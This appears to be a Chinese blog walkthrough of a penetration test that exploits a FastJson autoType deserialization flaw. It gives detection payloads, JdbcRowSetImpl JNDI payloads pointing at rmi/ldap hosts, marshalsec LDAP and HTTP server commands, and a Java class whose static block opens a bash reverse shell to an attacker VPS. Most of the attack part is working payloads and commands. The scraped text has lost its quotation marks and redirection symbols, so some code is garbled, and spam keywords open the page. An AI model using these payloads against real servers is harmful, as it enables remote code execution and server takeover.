优秀茶叶网站设计,云卡会员卡管理系统,百度seo排名教程,区块链开发公司漏洞介绍 FastJson在解析json的过程中#xff0c;支持使用autoType来实例化某一个具体的类#xff0c;并调用该类的set/get方法来访问属性。通过查找代码中相关的方法#xff0c;即可构造出一些恶意利用链。 通俗理解就是#xff1a;漏洞利用fastjson autotype在处理json对… 漏洞介绍 FastJson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。 通俗理解就是漏洞利用fastjson autotype在处理json对象的时候未对type字段进行完全的安全性验证攻击者可以传入危险类并调用危险类连接远程rmi主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用获取服务器的敏感信息泄露甚至可以利用此漏洞进一步对服务器数据进行修改增加删除等操作对服务器造成巨大影响。 前言 以下为有授权测试未经授权千万不要触碰法律。 拿到项目后找到了一个后台登录的页面然后尝试弱口令yyds无果 抓包尝试是否存在注入这里看到是json请求就尝试去构造或者破坏原有的json请求从返回的数据包中可以看到有fastjson字样如果没有报错回显就使用dnslog进行验证后面会说到。 尝试是否存在fastjson反序列化漏洞构造以下payload看到了版本信息 Set[{type:java.net.URL,val:http://dnslog}]
Set[{type:java.net.URL,val:http://dnslog}网上查了一下此版本存在漏洞
使用dnslog验证
payload
{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://dnslog.cn/zcc,autoCommit:true}
}验证成功说明存在漏洞这里也可以用到bp的插件fastjson scan 一键检测傻瓜操作github自行搜索一下
反弹shell
使用工具GitHub - mbechler/marshalsec
vps下载完成后进入目录下进行编译
mvn clean package -DskipTests第一次自己进行编译这个过程中遇到了很多问题就不一一细说了如果遇到问题的小伙伴多看报错信息或者私信我也可以大佬无视。 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar 新开一个窗口监听端口 root目录下新建一个test.java文件里面写入EXP源代码
// bash -i /dev/tcp/xx.xx.xx.xx/6666 01 这里的ip是vps以及vps监听的端口6666
import java.lang.Runtime;
import java.lang.Process;public class test {static {try {Runtime rt Runtime.getRuntime();String[] commands {bash, -c, bash -i /dev/tcp/xx.xx.xx.xx/6666 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}javac编译生成test.class文件 再新建一个窗口启动http服务
python3 -m http.server 8445本地访问一下可以看到生成的class文件 vps启动LDAP服务监听1389端口并制定加载远程类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:8445/#test 1389返回burp构造payload反弹shell可以看到已经是root权限
{a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://vps:9999/xxx,autoCommit:true}
}fastjson指纹信息
A.抓包改为POST方式花括号不闭合返回包就会出现fastjson字样不过这个可以屏蔽就用其他办法B.利用dnslog盲打
1. 利用java.net.Inet[4|6]Address
{type:java.net.Inet4Address,val:dnslog} {type:java.net.Inet6Address,val:dnslog}
2. 利用java.net.InetSocketAddress
{type:java.net.InetSocketAddress{address:,val:dnslog}}
3. 利用java.net.URL
{{type:java.net.URL,val:http://dnslog}:x}
4. 其他变形
{type:com.alibaba.fastjson.JSONObject,{type:java.net.URL,val:http://dnslog”}}} Set[{type:java.net.URL,val:http://dnslog}] Set[{type:java.net.URL,val:http://dnslog} {{type:java.net.URL,val:http://dnslog}:0
1.2.67版本前
{zeo:{type:java.net.Inet4Address,val:fatu5k.dnslog.cn}}
1.2.67版本后payload
{type:java.net.Inet4Address,val:dnslog}
{type:java.net.Inet6Address,val:dnslog}修复建议
升级到官方最新版本